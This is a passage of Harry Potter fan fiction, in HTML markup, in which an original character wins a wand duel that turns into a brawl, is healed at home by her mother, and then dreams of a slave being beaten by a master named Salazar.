style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione noticed Harry blankly\nstaring, she slipped her hand in his and gave it a gentle squeeze.&nbsp; He looked over at her.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Harry, are you alright?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry nodded, &#8220;yeah I was just\nthinking about Sirius.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">She slipped an arm around Harry.\n&#8220;At least he&#8217;s been cleared now, and he&#8217;s finally getting back into society.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;They just took so many years of\nhis life away.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Well now he can make up for lost\ntime with his loved ones and friends, you should at least be happy about that.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I am happy about that Hermione.&#8221;\nHe smiled briefly putting his arm around her shoulders, pulling her against his\nside.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Let&#8217;s go get something to eat\nalready, I&#8217;m starved.&#8221; Ron said </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">They grouped together and decided\nwhere to go for dinner.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">***</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Around midnight they stood by the\nold mill at Elius Boarderus Road waiting for Candice to show, Zara knew she\nwould be bringing a whole group just to see her defeat.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I know it comes at rather last\nminute, but Hermione could you, no would you be my second.&nbsp; You know Just in case?&#8221; Zara looked at\nHermione with a hopeful look </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Sure Zara.&#8221; Hermione said with\nhalf a smile, she was about to say something else when out of the corner of her\neye she saw Candice followed by a group of people walk up to them.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Candice smirked, which in fact\nmade her look a lot like Draco Malfoy.&nbsp;\nZara knew she was no relation to that no good Malfoy but she supposed\nthat all evil smirks tend to look alike.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I see you decided to show up and\nnot chicken out Zara, remember we&#8217;re not on Salemston&#8217;s grounds, no one to cut\noff the pain and suffering I will inflict upon you.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">A harsh laugh burst out of Zara.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;&#8220;You have been watching way too many muggle\nmovies Candice.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I&#8217;m gonna wipe that smile of that\nhorrid face of yours Zara Reynolds.&#8221; Candice glared.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Zara rolled her eyes.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Let&#8217;s just get this over with.&#8221;\nZara replied as she pulled her wand from a secure belt loop.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Candice had hers ready as they\nbowed to each other. Candice was about to speak when she heard Zara shout with\nher wand pointed right at her</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Furnunculus!&#8221; Zara&#8217;s wand was\npointed at Candice&#8217;s face</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">All at once boils popped up all\nover Candice&#8217;s skin and she growled.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;&#8220;Look what you did to me!&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Knowing how vain Candice was Zara\ntook this opportunity,&nbsp; shouting more\nhexes her way.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Tarantallegra! Rictusempra!&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Candice&#8217;s feet started dancing\nabout and at the same time she couldn&#8217;t help the uncontrollable laughter as she\nfelt the savage tickling running through her body. </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">A dark haired man from the crowd\npointed a wand at Zara and was about to cast a spell.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Expellarmus!&#8221; Hermione shouted\nwith her wand extended and the man&#8217;s wand flew from his hand into her own. &#8220;I\ndon&#8217;t think so.&#8221; Hermione said with a smirk.&nbsp;\nThe dark haired man glared at Hermione as she tucked his wand into her\npocket. </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Finite Incantatum.&#8221; Candice\ngasped out ending all curses upon her person. &#8220;Incendo!&#8221; Candice also shouted\naiming her wand at Zara&#8217;s feet but Zara jumped out of the way of the way before\nthe curse reached her.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Candice and Zara shot a good\nnumber of hexes at each other some of which Harry had never heard of.&nbsp; Zara was bent over gasping for air as was\nCandice.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">In a flash Zara stood upright.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Wingardium Leviosa!&#8221; Zara shouted\npointing her wand at Candice and she lifted up into the air.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Finite Incantatum.&#8221; Candice\nshouted in panic, she forgot she was at least five feet or more off the\nground.&nbsp; The spell ended and she landed\ndown on the ground, the wind knocked out of her, her vision a little blurry.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">With her wand still extended\nprotecting herself Zara walked over to Candice looking down at her.&nbsp; Zara found Candice glaring up at her.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Knowing that she never really was\nvery good at dueling, Candice was even angrier at having been embarrassed in\nfront of all these people.&nbsp; Her foot shot\nup kicking Zara in the shin, which brought Zara down to the ground.&nbsp; Candice crawled over to Zara and attempted to\npunch Zara in the face, and at the last second Zara turned her head to avoid\nCandice&#8217;s fist.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Two people from Candice&#8217;s group of\nfollowers went over to Candice and attempted to pull Candice off of Zara.&nbsp; They were expecting a duel not a brawl.&nbsp; Candice kicking and screaming to be let go as\nthey pulled her from Zara.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ron and Harry went to help Zara up\noff the ground.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;You okay?&#8221; Ron asked concerned.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Yeah, did you see that I won.&#8221;\nShe smiled triumphantly.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Zara&#8217;s triumph was short lived as\nCandice managed to break free from her friends grasp and charged at an unsuspecting\nZara, Candice jumped on Zara&#8217;s back knocking her to the ground again. Harry,\nRon and Hermione attempted to help pull Zara and Candice apart as the two girls\nwere fighting on the ground.&nbsp; Candice was\non top of Zara her hands around her neck attempting to choke the life out of\nher.&nbsp; Zara clawed at Candice&#8217;s wrists,\ndigging her fingernails into her skin. </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">That wasn&#8217;t working to well, Zara\nreached up scratching five fingernail marks across Candice&#8217;s perfect cheek\ndrawing blood, and her leg shot up kicking Candice in the back with a force\nthat made Candice released the hold on Zara&#8217;s neck, and fall to the side.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione, Ron and Harry had their\nwands extended going to stop this insane fighting, but the dark haired man\nstood in front of them who was no longer glaring.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Let them fight it out,&#8221; He said\ncalmly. &#8220;This has been building up in the two of them for a long time.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;They are going to kill each other\nif we don&#8217;t do something.&#8221; Ron replied.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;This has nothing to do with you\nthree, this has everything to do with Zara and Candice. Don&#8217;t interfere.&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione pulled out that man&#8217;s\nwand and handed it back to him. &#8220;Don&#8217;t cause any more trouble.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">He glared taking his wand from her\nand turned his attention to Candice and Zara.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ron couldn&#8217;t help feeling sick\nwith worry at Zara fighting with Candice.&nbsp;\nIt looked like a really bad fight he wanted it to stop, yet he knew that\nsometimes you just have to let things go till the end.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Both girls had managed to get to\ntheir feet at one point during the fighting, Zara was punching Candice in the\nface, she had done it a good couple of times.&nbsp;\nCandice then fell to her knees.&nbsp;\nZara wiped the blood flowing from her nose with a shaking hand.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Candice looked up her face was scratched,\nbruised and bloody, her eyes were stinging and her nose felt broken, she tried\nto glare but found it extremely difficult to do anything with her face.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;&#8220;I hate you Zara Reynolds,&#8221; She was exhausted\nand sore from fighting.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Zara shook her head back and forth\nlooking down at the pitiful girl, &#8220;I really don&#8217;t care.&#8221; She turned back facing\nRon, Harry and Hermione who cringed at the sight of her all broken and\nbruised.&nbsp; Unconsciously they touched\ntheir own faces as if they could feel the pain as well.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Candice was determined to get the\nlast word even if she had been defeated. </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;You&#8217;re a waste of humanity Zara,\nif you ever wonder why your father doesn&#8217;t love you?&nbsp; It&#8217;s because you&#8217;re just like your mother and\nhe knows what becomes of whores&#8212;&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">Candice was cut off because Zara&#8217;s\nfoot lifted kicking her in the face casing the girl to fall back to the ground\nunconscious.&nbsp; Zara was breathing hard\nfrom anger, exhaustion and pain.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ron, Harry, and Hermione came up\nbehind Zara and watched as Candice&#8217;s group levitated the unconscious girl.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Her reputation will never be the\nsame Zara, you have really beaten her down.&#8221; The dark haired man said.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I know Gary, well she had it\ncoming. I really have no idea why she despises me so?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">The dark haired man nodded. &#8220;It&#8217;s\nbecause you&#8217;re better than her at everything.&nbsp;\nYou never really had the kind of benefits that she had and you still\nmanage to come out on top.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Zara smiled though it hurt and\npatted him on the shoulder.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Thanks Gary, I&#8217;ll see you\naround.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Zara turned to walk away and\nwobbled a bit, Ron reached out to steady her.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Can you walk?&nbsp; Do you need me to carry you?&#8221; Ron offered.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;No thanks Ron I can manage.&#8221; Zara\nstarted walking again, then felt a bit dizzy and wobbled.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Without asking permission, Ron bent\ndown and scooped her up cradling her in his arms.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Look I said I was fine, you don&#8217;t\nhave to do this.&#8221; She struggled trying to get out of his hold.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Zara I know your tough, but you\ncan hardly walk.&#8221; Ron replied as he held her tighter.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Zara stopped struggling and let\nRon carry her to the Golden Swan Inn where they would floo back to her house.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">They landed in the fireplace in\nZara&#8217;s living room one by one, they heard a glass fall and break.&nbsp; Zara&#8217;s mother stood up from the sofa in\nshock.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;What in heavens name happened to\nyou Zara?!&#8221; Crystal maintained a calm voice but you could tell she was\nangry.&nbsp; &#8220;Don&#8217;t tell me you got into\nanother fight?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Alright I won&#8217;t tell you.&#8221; Zara\nsnapped at her mother.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Crystal sucked in a breath as her\ntemper was starting to boil. &#8220;Kitchen&#8230;&nbsp;\nYoung lady&#8230; Now!&#8221; Crystal was livid. She was struggling to control her\ntemper.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Zara turned and walked into the\nkitchen with her mother trailing behind her.&nbsp;\nAs soon as the kitchen door closed you could hear muffled yelling on the\nother side from both Zara and Crystal.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Even though they couldn&#8217;t really\nunderstand what was being said, Harry, Hermione and Ron looked worriedly at\neach other hearing the yelling going on in the other room.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">The front door opened and Guido\nwho was whistling walked in the house, he heard the yelling going on in the\nkitchen.&nbsp; He looked over at the other\nthree teenagers, Harry and Hermione were holding on to each other while Ron was\njust standing there with his arms folded across his chest.&nbsp; He walked up to them.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;What&#8217;s the trouble?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Zara got into a fight.&#8221; Harry\nreplied.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Ah,&#8221; Guido nodded and he walked\ntowards the kitchen.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">The yelling had died down and he\nopened the door to the kitchen.&nbsp; The\nsound of someone crying came from the open door.&nbsp; Harry, Ron and Hermione darted over to the\nopen door and saw Zara and her mother.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">They were both sitting in chairs\nat kitchen table and Crystal had pulled Zara into a really tight embrace, while\nher daughter cried.&nbsp; She stroked her daughter&#8217;s\npurple hair, which was starting to lose its color, the black roots were really\nvisible.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Zara, it doesn&#8217;t matter what that\nCandice says.&nbsp; You are not trash.&#8221;&nbsp; Crystal pulled her daughter back, her hands\nframing her face.&nbsp; &#8220;You are a bright and\nwonderful young lady, it&#8217;s Candice who is trash for saying such things.&nbsp; And it is quite noble of you to defend your\nfamily, no matter what.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Zara sniffed trying to get control\nof her emotions, she wiped her tears away with two fingers.&nbsp; She smiled a bit. &nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Here, here what&#8217;s all this\nabout?&#8221; Guido said with half a grin.&nbsp;\n&#8220;Did I hear you got into a fight Zara Reynolds?&#8221; He crossed his arms\nsternly.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Zara looked to the floor feeling\nuncomfortable, she knew Guido was disappointed in her.&nbsp; She should have stopped the fight with magic\nbut she let it continue to the end.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Just tell me one thing.&#8221; He said\nvery seriously.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Zara&#8217;s head snapped up looking him\nin the face, her eyes red from tears.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Did yah win?&#8221; Guido grinned.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Yes,&#8221; Zara smiled.&nbsp; She could hear the laughter coming from her\nfriends who were standing behind Guido.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Now.&#8221; Crystal interrupted their\nlaughter, she stood and walked over to the counter and opened a drawer pulling\nout her wand.&nbsp; She walked back over to\nher daughter and sat down.&nbsp; &#8220;Let&#8217;s see\nwhat we can do about these injuries.&#8221; Crystal immediately and began healing her\ndaughters cuts, bruises and anything else that was broken.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">After a long half hour of mending\nher daughters wounds, some of them wouldn&#8217;t heal all the way by magic, they would\nhave to heal the muggle way. Crystal stood up and stretched.&nbsp; &#8220;Well Guido and I will be leaving for our\nvacation tomorrow, but don&#8217;t worry we&#8217;ll be back to take you four to the\nairport.&nbsp; Have a good Christmas.&nbsp; With that she shooed the teens off to bed. </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp; After readying\nthemselves for bed and brushing their teeth, Ron saw Hermione pull Harry by the\nhand into her room this time.&nbsp; He smiled\nto himself then watched Zara&#8217;s movements, he could tell she was still in a\nlittle bit of pain.&nbsp; He opened the door\nto his room, but Zara stopped him, putting her hand on his.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Where do you think you&#8217;re going?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Into my room?&#8221; He asked slightly\nconfused.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I would really appreciate it, if you\nwould come with me in my room, I really don&#8217;t want to do anything, but I don&#8217;t\nwant to be by myself either.&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ron understood as she took his\nhand and they walked into her room, down at the end of the hallway.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">They snuggled close together under\nthe blankets, after awhile Zara heard the steady heartbeat and Ron&#8217;s quiet\nbreathing.&nbsp; Finally, she was drifting to\nsleep as well, with one last movement she snuggled closer to Ron, sleep\novercame her and she was at the God of Slumber&#8217;s mercy&#8212;<i style="mso-bidi-font-style:\nnormal">&nbsp; She was standing with her hands\nfolded behind her back, her head was lowered as her master paced back and\nforth, yelling at her.</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&#8220;I don&#8217;t care what my son has told you, you belong to me.&nbsp; You are my property, do you understand.&#8221;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">She nodded.</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&#8220;I know Ulrich gave you permission for that idiot Kai Huffelpuff to\nvisit you, but I forbid it.&#8221;&nbsp; He lifted\nhis head yelling at the door.&nbsp; &#8220;Ulrich\nget in here!&#8221;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">In an instant the door opened and Ulrich stepped into room.</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&#8220;Yes father, you wanted to see me.&#8221;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&#8220;You gave my slave permission to be with another man?&#8221; Salazar glared.</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&#8220;If I&#8217;m not mistaken father I thought she was my property?&#8221; Ulrich\nlooked up at his father.</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&#8220;Everything in this house belongs to me, you own nothing boy.&nbsp; And that includes her.&#8221; He pointed to Leelee.</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&#8220;She wants to be with Kai, who am I to stop it?&#8221; Ulrich wanted to kick\nhimself why had he said that in front of his father.</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">Salazar raised his fist as if to strike him for his insolence, but his\nfist stopped in mid air.&nbsp; &#8220;It doesn&#8217;t\nmatter what a slave wants, she is to serve her master and nothing more.&#8221;&nbsp; He turned around to Leelee, &#8220;she is a clever\nlittle witch isn&#8217;t she, this slave has bewitched you into doing what she wants,\nI will take your weakness at this moment not as fault on you, this time.&#8221; He\npaused.&nbsp; &#8220;But on her.&#8221;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">Ulrich stared at Leelee and then his father, he knew that Leelee also\nknew what was coming. And he could do nothing to stop it. He saw silent tears\nfall from her eyes. </i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">As the silent tears fell, she prepared herself for the worst, as Salazar&#8217;s\nhand connected with her cheek two times.&nbsp;\nShe did not cry out loud with the pain.&nbsp;\nNow the back of his hand hit against her other cheek a few times, she\ndidn&#8217;t know how many times he had hit her, she lost count.&nbsp; The last blow to her face knocked her to the\nground.</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">Leelee looked up into his eyes and Salazar glared.</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;&#8220;Are you looking up at me\nwoman?!&#8221; He yelled.</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">Leelee immediately lowered her eyes from his hoping to avoid\npunishment. </i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&#8220;It&#8217;s your fault that I inflict this punishment on you Leelee, don&#8217;t\ndefy me or you will not live to see another sunrise.&#8221;&nbsp; Salazar looked at his son, &#8220;take her back to\nthe tower.&#8221;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&#8220;Yes father,&#8221; Ulrich helped Leelee from off the floor and he walked\nwith her to the tower.&nbsp; &#8220;Leelee, I&#8217;m\nsorry I couldn&#8217;t help 